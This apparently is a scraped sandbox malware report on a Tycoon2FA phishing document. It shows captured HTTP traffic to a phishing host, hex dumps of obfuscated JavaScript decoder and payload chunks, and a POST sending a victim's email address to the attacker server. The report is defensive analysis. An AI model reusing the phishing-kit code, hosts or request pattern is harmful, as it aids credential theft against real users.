2025-03-26 22:34:32 UTC	1478	OUT	GET /QPImv5ff/ HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im5JbW9YUGRwTlhFMUo2bnVPbXlWYnc9PSIsInZhbHVlIjoiOVlpdHRwTzh5QlNodzZNUnJuRGZJR2lLL1F4WGc4amJ6cW1teU9rZCtvOCswL3BUZ3lUaVg3a3pNVWIwNXRmQktVWVJUMFlPM29GK3VqcE5TbkRLZWE4cXpLcktTT1JPMkVDUFlMRm1MTGlsMXg2TEM0cGhKbWhkOCtMRzliUFIiLCJtYWMiOiI1NTJlMmM0MjVjOTgwZGEwYWMyN2VhZmJkZGU0Zjc3ODhlZDE5YTgxZWYxN2I2ZjkwYTM1NmM1OTE0ODM0NGNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkUxUktNYVJUbzF4SGJPV251QkF1NWc9PSIsInZhbHVlIjoiMVR1M1grbVNQK1IyeENiR3hhQmFVUE1LNEMxbEQzbnY0a3JLdEJaUEhoUEJ1L240NXpjTTRtTGx3OUJyNWJ2S3UrRkQyS05zMm81bGp2d3puYW5BbXJzcHNGNlY5ek1wMm4vRHpJWThZTmk5dEYwZzR2Z0JQNU80cXAreUVzVTIiLCJtYWMiOiJiNzRhZGExZTA4ODk0MjdkZDUyYjYzMzMxNzM4NDM5ZTUxZDFjMDBlZWJhNTk4NmM3Y2E2OWU5MWJmOWRjYTE3IiwidGFnIjoiIn0%3D
2025-03-26 22:34:33 UTC	1222	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CVClYxpBPc4HlW%2FB6lfMD6EYR2uEl5SGIRrV%2F1nV%2FH3grYOgwmxs1d1widXKMUsX1GFwSsdpO05NqOWqn6t4e%2B%2FplrhY3%2FKZsrO4qEHtXDK4ag0p07cVAJYfeimeXN%2FNzH7d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=38624&min_rtt=38346&rtt_var=10994&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2382&delivery_rate=74056&cwnd=103&unsent_bytes=0&cid=a909cc890ad07ced&ts=240&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjNqdWliKzQyQlVtaVl2NkhTYXhldmc9PSIsInZhbHVlIjoid3BBU3VTQ3JJeHhFcUEwcHJ1RXROcVhtVkF4MFlyQTZocUNNWTNtSzRRWXZIemdoaGh1OUl1dkI0SnhDQStqM3ZsMElhaUg3cU5ycUhCUjErNEVIWGYwVEJSUCtsazVtaXlaS2YySkhsSVBaNGxqRUdlcmY5UHkyVUwvUU84QUYiLCJtYWMiOiIwMDI4YzNmZmM1ZGEzZTkwZWRhMWI5ZWU1YzE2ZThkYTc3Mjg3MmQ5YmQ0N2VkOTAwN2UzNjc0YThkYjVhMjJmIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 00:34:33 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 22:34:33 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4e 49 52 7a 41 31 62 6c 46 76 54 30 78 6c 4e 6a 64 48 61 32 64 31 56 56 46 6f 54 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 47 74 68 54 44 68 31 63 47 52 44 56 55 68 44 52 6d 5a 31 54 58 4a 52 59 6b 4e 4f 51 53 74 52 63 58 64 50 5a 56 42 50 4b 30 56 4c 64 58 5a 51 4e 58 4e 6b 55 31 70 53 59 6e 68 6b 59 57 68 79 61 6b 77 76 61 6d 31 57 59 31 4a 47 4e 44 46 47 4e 6a 51 35 63 6b 31 71 54 32 46 6f 4e 44 64 59 57 6b 49 34 55 56 4a 6b 54 57 35 48 55 30 59 33 52 57 4d 34 56 6d 70 6a 52 57 34 31 65 58 4a 46 55 31 6c 69 5a 6d 35 54 4c 30 51 79 64 55 46 77 62 55 73 34 53 6b 55 76 55 43 38 76 65 6b 46 35 57 44 4e 6d 51 56 70 51 59 56 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlNIRzA1blFvT0xlNjdHa2d1VVFoTlE9PSIsInZhbHVlIjoiWGthTDh1cGRDVUhDRmZ1TXJRYkNOQStRcXdPZVBPK0VLdXZQNXNkU1pSYnhkYWhyakwvam1WY1JGNDFGNjQ5ck1qT2FoNDdYWkI4UVJkTW5HU0Y3RWM4VmpjRW41eXJFU1liZm5TL0QydUFwbUs4SkUvUC8vekF5WDNmQVpQYVM
2025-03-26 22:34:33 UTC	1369	IN	Data Raw: 35 61 63 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 6d 56 42 76 44 4a 70 6a 57 65 28 6a 51 53 70 79 7a 63 48 48 64 2c 20 7a 70 41 59 44 56 44 78 4a 55 29 20 7b 0d 0a 6c 65 74 20 57 72 6a 46 4e 4e 52 51 6e 44 20 3d 20 27 27 3b 0d 0a 6a 51 53 70 79 7a 63 48 48 64 20 3d 20 61 74 6f 62 28 6a 51 53 70 79 7a 63 48 48 64 29 3b 0d 0a 6c 65 74 20 4c 58 4d 4e 51 58 50 6c 67 51 20 3d 20 7a 70 41 59 44 56 44 78 4a 55 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 6a 51 53 70 79 7a 63 48 48 64 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 57 72 6a 46 4e 4e 52 51 6e 44 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6a 51 53 70 79 7a 63 48 48 64 2e 63 68 61 72 43 6f Data Ascii: 5ac<script>function mVBvDJpjWe(jQSpyzcHHd, zpAYDVDxJU) {let WrjFNNRQnD = '';jQSpyzcHHd = atob(jQSpyzcHHd);let LXMNQXPlgQ = zpAYDVDxJU.length;for (let i = 0; i < jQSpyzcHHd.length; i++) { WrjFNNRQnD += String.fromCharCode(jQSpyzcHHd.charCo
2025-03-26 22:34:33 UTC	90	IN	Data Raw: 44 56 51 53 4b 53 34 38 4b 53 49 47 46 79 64 42 4d 53 56 37 4d 42 45 79 57 52 78 43 66 78 34 55 4d 44 77 32 50 55 51 45 4d 30 49 36 49 78 77 57 46 7a 4a 77 47 45 4a 2f 45 68 39 36 45 53 6c 59 52 41 6b 6c 57 54 45 50 43 68 6b 47 49 58 51 4d 45 33 38 56 42 79 34 52 0d 0a Data Ascii: DVQSKS48KSIGFydBMSV7MBEyWRxCfx4UMDw2PUQEM0I6IxwWFzJwGEJ/Eh96ESlYRAklWTEPChkGIXQME38VBy4R
2025-03-26 22:34:33 UTC	1097	IN	Data Raw: 34 34 32 0d 0a 49 69 6f 41 42 44 4e 34 5a 69 55 6b 4c 31 63 68 66 78 38 4e 55 67 45 54 4f 68 45 70 4a 6c 67 73 49 32 78 6d 43 53 41 61 55 51 74 5a 47 78 68 36 46 51 51 37 41 6a 6b 45 63 79 39 47 5a 44 6f 4a 49 42 6c 53 4a 6e 51 50 54 58 6f 58 64 67 49 52 49 69 6c 51 42 44 64 33 4d 51 38 4b 47 51 59 68 64 41 77 54 55 79 38 45 49 7a 77 70 49 6b 51 43 48 58 52 6d 4a 53 63 4f 44 53 52 30 44 77 35 58 45 53 6f 6b 50 43 55 48 55 43 6b 38 66 47 63 63 47 69 38 47 43 51 55 62 51 57 64 6b 66 79 49 43 4e 51 64 51 41 77 35 6a 4d 53 41 61 4c 79 38 72 58 67 77 54 66 78 55 48 4c 68 45 69 4b 56 41 45 4e 33 63 78 44 77 45 72 42 6a 45 45 48 77 31 55 45 69 6b 75 50 43 6b 69 42 68 63 6e 51 54 45 6e 65 77 35 55 4f 51 56 30 48 32 77 43 4b 53 34 57 47 79 46 51 4b 79 64 42 4d 51 Data Ascii: 442IioABDN4ZiUkL1chfx8NUgETOhEpJlgsI2xmCSAaUQtZGxh6FQQ7AjkEcy9GZDoJIBlSJnQPTXoXdgIRIilQBDd3MQ8KGQYhdAwTUy8EIzwpIkQCHXRmJScODSR0Dw5XESokPCUHUCk8fGccGi8GCQUbQWdkfyICNQdQAw5jMSAaLy8rXgwTfxUHLhEiKVAEN3cxDwErBjEEHw1UEikuPCkiBhcnQTEnew5UOQV0H2wCKS4WGyFQKydBMQ
2025-03-26 22:34:33 UTC	1369	IN	Data Raw: 37 38 61 0d 0a 67 2f 41 69 59 39 65 51 34 64 64 7a 45 50 43 68 6b 47 49 58 51 4d 45 33 30 43 4e 51 63 62 43 43 6c 51 42 44 64 30 62 77 49 59 4e 79 38 72 58 67 77 54 66 78 55 45 4f 51 49 49 4b 56 67 76 47 57 41 62 45 42 38 38 4a 54 77 48 65 45 52 6a 50 79 34 6c 50 41 77 2b 51 69 6b 33 58 53 59 50 41 53 73 76 4b 31 34 4d 45 33 38 56 42 79 34 52 49 69 6c 51 46 79 78 73 4f 69 51 6e 43 52 51 4c 66 77 63 59 55 6a 73 51 50 44 77 6b 4f 6c 73 58 47 58 42 6e 4a 41 45 4a 44 69 4e 6a 50 6a 70 31 50 77 63 75 45 53 49 70 55 41 51 33 64 7a 45 6c 4a 41 35 52 44 47 38 48 41 58 38 52 48 43 45 36 4b 53 5a 62 41 67 4d 47 48 51 38 4b 47 51 59 68 66 33 30 36 64 54 68 32 4f 52 63 57 57 48 77 58 4d 77 38 38 49 68 35 70 44 51 70 5a 48 41 46 76 41 52 51 69 43 6a 6b 79 57 79 38 61 Data Ascii: 78ag/AiY9eQ4ddzEPChkGIXQME30CNQcbCClQBDd0bwIYNy8rXgwTfxUEOQIIKVgvGWAbEB88JTwHeERjPy4lPAw+Qik3XSYPASsvK14ME38VBy4RIilQFyxsOiQnCRQLfwcYUjsQPDwkOlsXGXBnJAEJDiNjPjp1PwcuESIpUAQ3dzElJA5RDG8HAX8RHCE6KSZbAgMGHQ8KGQYhf306dTh2ORcWWHwXMw88Ih5pDQpZHAFvARQiCjkyWy8a
2025-03-26 22:34:33 UTC	568	IN	Data Raw: 45 6d 59 68 6f 69 64 42 41 50 44 6a 42 52 43 6d 41 36 58 33 55 38 50 69 59 38 4a 6c 6c 45 42 44 4e 4f 50 69 51 6b 4f 31 67 68 57 68 73 42 66 7a 78 79 41 67 67 6d 41 46 73 55 49 32 64 39 42 53 41 5a 42 6a 68 77 66 42 68 53 45 51 4d 75 41 56 4d 41 58 79 34 61 65 44 6f 69 44 57 67 49 50 6d 45 66 4d 33 6f 43 49 53 41 49 42 67 64 51 42 44 42 4f 49 68 77 52 43 67 6b 68 63 48 67 63 56 41 45 54 63 42 45 50 4d 6b 63 58 4c 46 49 68 4a 48 6f 53 55 53 46 65 44 78 35 55 5a 48 4e 35 41 6a 5a 64 42 78 30 6e 66 47 55 6e 48 67 70 52 43 58 4e 38 48 32 77 4f 48 44 6b 42 55 7a 31 44 4b 55 5a 61 50 53 49 4f 50 78 49 68 63 43 45 42 56 77 34 55 4f 51 45 32 48 30 4d 75 52 6e 67 2b 4a 41 34 4e 57 43 56 6b 65 51 4e 2f 50 48 49 43 45 53 49 70 44 79 6b 7a 57 6d 59 6b 44 67 31 4b 50 Data Ascii: EmYhoidBAPDjBRCmA6X3U8PiY8JllEBDNOPiQkO1ghWhsBfzxyAggmAFsUI2d9BSAZBjhwfBhSEQMuAVMAXy4aeDoiDWgIPmEfM3oCISAIBgdQBDBOIhwRCgkhcHgcVAETcBEPMkcXLFIhJHoSUSFeDx5UZHN5AjZdBx0nfGUnHgpRCXN8H2wOHDkBUz1DKUZaPSIOPxIhcCEBVw4UOQE2H0MuRng+JA4NWCVkeQN/PHICESIpDykzWmYkDg1KP
2025-03-26 22:34:33 UTC	1369	IN	Data Raw: 31 31 65 36 0d 0a 55 69 38 6b 65 67 34 55 4d 6e 52 38 48 6c 52 6b 50 6a 38 37 43 77 64 51 42 45 5a 76 5a 68 77 6a 43 67 77 6d 63 7a 34 2f 66 78 55 48 4c 68 45 69 4b 56 41 55 52 67 38 6c 4a 48 6f 52 56 79 46 30 41 41 35 37 4c 41 74 2b 47 77 67 70 55 41 51 33 64 47 38 46 49 42 6b 47 49 58 51 50 47 32 77 42 41 43 49 43 4f 53 46 51 4b 41 4e 5a 4d 51 38 4b 47 51 59 68 64 41 38 64 62 77 45 49 4f 77 4a 53 49 6b 45 70 49 77 4d 39 43 53 41 5a 43 79 56 7a 44 45 56 76 41 69 6f 6c 46 78 59 48 55 41 51 33 64 7a 45 50 43 68 6f 4c 43 67 55 31 41 6c 55 38 4b 53 34 52 55 7a 4a 61 46 78 35 46 48 51 38 4b 47 51 59 68 64 41 77 54 56 52 45 41 49 67 49 6d 42 45 49 58 44 6c 6b 78 43 79 4d 61 46 67 31 30 44 41 4e 35 49 53 6b 75 45 53 49 70 55 41 51 33 64 47 59 63 45 54 42 52 4a Data Ascii: 11e6Ui8keg4UMnR8HlRkPj87CwdQBEZvZhwjCgwmcz4/fxUHLhEiKVAURg8lJHoRVyF0AA57LAt+GwgpUAQ3dG8FIBkGIXQPG2wBACICOSFQKANZMQ8KGQYhdA8dbwEIOwJSIkEpIwM9CSAZCyVzDEVvAiolFxYHUAQ3dzEPChoLCgU1AlU8KS4RUzJaFx5FHQ8KGQYhdAwTVREAIgImBEIXDlkxCyMaFg10DAN5ISkuESIpUAQ3dGYcETBRJ
2025-03-26 22:34:33 UTC	1369	IN	Data Raw: 6a 44 53 73 71 49 58 51 4d 45 33 38 65 64 67 49 52 49 69 6c 51 42 44 63 44 4c 42 77 52 45 6c 4d 4a 59 41 4d 59 56 53 38 45 65 44 6f 69 48 31 41 42 47 57 77 36 48 78 45 4b 55 41 74 61 47 77 35 2f 48 68 41 36 45 53 6b 62 66 41 51 33 64 7a 45 50 43 68 6b 47 43 6e 41 68 44 6c 49 56 64 7a 4d 38 4b 51 52 45 46 79 63 48 5a 69 4d 52 47 67 30 6e 58 67 38 42 56 47 52 7a 4a 52 63 57 42 31 41 45 4e 33 63 78 44 77 6f 61 46 6a 46 67 48 78 39 58 41 58 4d 6e 46 77 67 70 51 41 49 44 57 54 45 50 43 68 6b 47 44 6d 59 69 45 33 38 56 42 79 34 55 44 79 5a 62 4c 68 70 73 4a 68 39 37 44 68 73 68 66 78 73 48 66 78 45 2b 4f 52 51 69 4b 55 49 58 47 57 41 2b 49 67 45 4f 47 44 4a 76 41 42 4e 53 41 54 45 75 4f 69 59 44 55 43 67 44 57 54 45 50 43 68 6b 47 49 58 51 50 48 57 38 42 43 44 Data Ascii: jDSsqIXQME38edgIRIilQBDcDLBwRElMJYAMYVS8EeDoiH1ABGWw6HxEKUAtaGw5/HhA6ESkbfAQ3dzEPChkGCnAhDlIVdzM8KQREFycHZiMRGg0nXg8BVGRzJRcWB1AEN3cxDwoaFjFgHx9XAXMnFwgpQAIDWTEPChkGDmYiE38VBy4UDyZbLhpsJh97DhshfxsHfxE+ORQiKUIXGWA+IgEOGDJvABNSATEuOiYDUCgDWTEPChkGIXQPHW8BCD
2025-03-26 22:34:33 UTC	1369	IN	Data Raw: 41 31 55 65 49 53 34 56 4a 52 74 38 42 44 64 33 4d 51 38 4b 47 51 59 78 57 67 73 65 56 32 51 69 4d 44 70 53 50 6b 49 58 4d 46 6b 78 44 7a 4d 56 47 79 56 4e 50 6a 39 2f 46 51 63 75 45 53 49 70 55 42 52 47 44 79 55 6b 65 68 46 58 49 58 51 44 47 57 77 37 48 33 34 62 43 43 6c 51 42 44 64 33 4d 51 38 4f 61 51 6b 4c 57 69 6b 45 56 44 39 33 65 54 70 53 4b 51 45 45 4d 48 38 68 4a 51 45 2f 56 69 74 65 44 42 4e 2f 46 51 52 77 47 77 67 70 55 42 30 33 44 79 77 69 41 54 51 53 4d 6d 4e 35 50 32 59 56 66 79 59 43 4e 69 35 63 48 52 4e 5a 62 68 38 6b 59 51 6f 4e 59 33 6b 2f 66 78 55 48 63 54 6b 6d 50 6c 38 58 4d 32 41 76 46 69 34 33 42 69 46 30 44 42 4e 6d 45 53 45 78 43 41 30 36 57 78 52 47 55 54 45 54 65 32 45 53 44 47 38 66 42 46 52 6b 63 7a 4d 49 49 6c 46 59 41 43 41 Data Ascii: A1UeIS4VJRt8BDd3MQ8KGQYxWgseV2QiMDpSPkIXMFkxDzMVGyVNPj9/FQcuESIpUBRGDyUkehFXIXQDGWw7H34bCClQBDd3MQ8OaQkLWikEVD93eTpSKQEEMH8hJQE/ViteDBN/FQRwGwgpUB03DywiATQSMmN5P2YVfyYCNi5cHRNZbh8kYQoNY3k/fxUHcTkmPl8XM2AvFi43BiF0DBNmESExCA06WxRGUTETe2ESDG8fBFRkczMIIlFYACA
2025-03-26 22:34:33 UTC	483	IN	Data Raw: 53 5a 42 46 78 70 6b 5a 52 38 52 45 67 30 68 66 78 38 63 56 77 45 2b 50 7a 73 4d 50 6c 77 45 50 47 51 67 44 77 45 30 46 77 78 76 42 42 4e 55 4f 78 41 6c 41 69 6b 6c 51 68 30 33 44 79 55 6e 48 57 77 71 49 58 51 4d 45 33 38 56 42 79 34 52 49 69 6b 50 4c 7a 4e 64 66 52 59 42 46 6c 45 4c 57 6e 51 42 62 43 78 7a 41 77 34 69 4b 6e 4d 76 52 67 4d 73 49 68 34 67 55 51 6c 67 65 42 70 6d 46 58 38 7a 50 43 6b 69 51 53 38 5a 56 58 30 50 43 6d 67 47 4f 6d 38 6c 41 32 77 4f 44 48 6b 52 4a 69 35 63 4b 52 6c 61 50 42 77 61 47 6c 45 4b 54 67 38 43 56 52 34 55 4f 54 6f 32 42 41 45 58 4a 33 52 6a 4a 48 6f 4f 47 43 46 79 49 53 46 2f 45 53 6f 38 41 67 38 69 58 79 35 48 5a 43 38 69 48 68 5a 52 44 47 38 48 47 48 6f 38 4d 54 38 36 4a 67 4d 63 44 68 31 33 4d 51 38 4b 47 51 59 68 Data Ascii: SZBFxpkZR8REg0hfx8cVwE+PzsMPlwEPGQgDwE0FwxvBBNUOxAlAiklQh03DyUnHWwqIXQME38VBy4RIikPLzNdfRYBFlELWnQBbCxzAw4iKnMvRgMsIh4gUQlgeBpmFX8zPCkiQS8ZVX0PCmgGOm8lA2wODHkRJi5cKRlaPBwaGlEKTg8CVR4UOTo2BAEXJ3RjJHoOGCFyISF/ESo8Ag8iXy5HZC8iHhZRDG8HGHo8MT86JgMcDh13MQ8KGQYh

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Revised - Mypharmaus 2025 Handbook03027.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\~DF45D087B9FD7AC33E.TMP

C:\Users\user\Desktop\~$vised - Mypharmaus 2025 Handbook03027.doc

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
Revised - Mypharmaus 2025 Handbook03027.doc

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:33 UTC	1134	OUT	GET /aj9IPN3XWv04k4e1dXLBqunWQ3ohyo HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im5JbW9YUGRwTlhFMUo2bnVPbXlWYnc9PSIsInZhbHVlIjoiOVlpdHRwTzh5QlNodzZNUnJuRGZJR2lLL1F4WGc4amJ6cW1teU9rZCtvOCswL3BUZ3lUaVg3a3pNVWIwNXRmQktVWVJUMFlPM29GK3VqcE5TbkRLZWE4cXpLcktTT1JPMkVDUFlMRm1MTGlsMXg2TEM0cGhKbWhkOCtMRzliUFIiLCJtYWMiOiI1NTJlMmM0MjVjOTgwZGEwYWMyN2VhZmJkZGU0Zjc3ODhlZDE5YTgxZWYxN2I2ZjkwYTM1NmM1OTE0ODM0NGNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkUxUktNYVJUbzF4SGJPV251QkF1NWc9PSIsInZhbHVlIjoiMVR1M1grbVNQK1IyeENiR3hhQmFVUE1LNEMxbEQzbnY0a3JLdEJaUEhoUEJ1L240NXpjTTRtTGx3OUJyNWJ2S3UrRkQyS05zMm81bGp2d3puYW5BbXJzcHNGNlY5ek1wMm4vRHpJWThZTmk5dEYwZzR2Z0JQNU80cXAreUVzVTIiLCJtYWMiOiJiNzRhZGExZTA4ODk0MjdkZDUyYjYzMzMxNzM4NDM5ZTUxZDFjMDBlZWJhNTk4NmM3Y2E2OWU5MWJmOWRjYTE3IiwidGFnIjoiIn0%3D
2025-03-26 22:34:33 UTC	1032	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 22:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l5y2DqYQb8hoL9OciNfOPXqmYINXr7tMbQAAS%2BwPBVZifx1um7YPtJ%2BYiupac5sTeF122BU8IZeSvvttDPhVL1KEtUUdxCNAz5T%2BnnqIoVFrKyOqlYPltQFi0aFgTIVG9SFX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9851&min_rtt=9814&rtt_var=2785&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2048&delivery_rate=288346&cwnd=249&unsent_bytes=0&cid=b6286ff77be0778e&ts=318&x=0" Server: cloudflare CF-RAY: 926a1db57e499cc1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=86350&min_rtt=86329&rtt_var=18245&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1706&delivery_rate=35377&cwnd=252&unsent_bytes=0&cid=92ddee7db17d4200&ts=619&x=0"
2025-03-26 22:34:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 22:34:33 UTC	1457	OUT	POST /lmykWCmgwVS8xpu8nz9nsmOTnILQydoIwqk6y4WZDGYrX2efw HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive Content-Length: 38 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://c2uah.yazvbqkl.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjNqdWliKzQyQlVtaVl2NkhTYXhldmc9PSIsInZhbHVlIjoid3BBU3VTQ3JJeHhFcUEwcHJ1RXROcVhtVkF4MFlyQTZocUNNWTNtSzRRWXZIemdoaGh1OUl1dkI0SnhDQStqM3ZsMElhaUg3cU5ycUhCUjErNEVIWGYwVEJSUCtsazVtaXlaS2YySkhsSVBaNGxqRUdlcmY5UHkyVUwvUU84QUYiLCJtYWMiOiIwMDI4YzNmZmM1ZGEzZTkwZWRhMWI5ZWU1YzE2ZThkYTc3Mjg3MmQ5YmQ0N2VkOTAwN2UzNjc0YThkYjVhMjJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIRzA1blFvT0xlNjdHa2d1VVFoTlE9PSIsInZhbHVlIjoiWGthTDh1cGRDVUhDRmZ1TXJRYkNOQStRcXdPZVBPK0VLdXZQNXNkU1pSYnhkYWhyakwvam1WY1JGNDFGNjQ5ck1qT2FoNDdYWkI4UVJkTW5HU0Y3RWM4VmpjRW41eXJFU1liZm5TL0QydUFwbUs4SkUvUC8vekF5WDNmQVpQYVMiLCJtYWMiOiIwNzIzMjRiN2JiMDAyYjU0OGM5NzU1ZmQzMjM4M2M3NjQ1OTZlNDk1MzJhYjIwNDgxZmRhYjA4YTVkNTkwMDU1IiwidGFnIjoiIn0%3D
2025-03-26 22:34:33 UTC	38	OUT	Data Raw: 64 61 74 61 3d 69 4d 6a 61 73 6f 6e 2e 68 6f 64 67 65 73 25 34 30 70 75 72 64 75 65 70 68 61 72 6d 61 2e 63 6f 6d Data Ascii: data=iMjason.hodges%40purduepharma.com
2025-03-26 22:34:34 UTC	1214	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 22:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VksDcTGV23dSctmngo%2FBVO2BnhoHhVgqo5d64oWAoERAEdsBhcuBgBAcgiiLzmRZr9LvmnAUF99zQLd0jIGW5xdLm%2B935uoY2%2B2nHEuzPfg6NNE6vwDtJ%2B09puoB4IU0rVIO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9902&min_rtt=9796&rtt_var=2832&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2409&delivery_rate=284856&cwnd=248&unsent_bytes=0&cid=70182a3305d3d928&ts=313&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkN4U29CWTVBMEQ5WGhCbHU2cHF4MWc9PSIsInZhbHVlIjoicXp3L3lmOTBhM3NQaForbXhGMjZsTGVBcS9GMzNhM2N2ZC9TbjdtMTlHMzhPU3B3RGVIOWF3WmcyZHlsN3pKdk1Ba0FCbWNyQ2taZERoZjY4R0VGQThheEx0S3FJNFRabUNWRThPVTNxcXA1ZkZNWGQ5OTAyaFNaMVhLdjkxSjciLCJtYWMiOiJjNzNhMmExMDcwYzY4Nzg5OTAzOTA0N2Y0MzlhZDdjZTNjYTJhZTY4M2VjMmI4MDNlMTVkNTczZDllMjBhMTIwIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 00:34:34 GMT; Max-Age=7200; path=/; secure; samesite=none
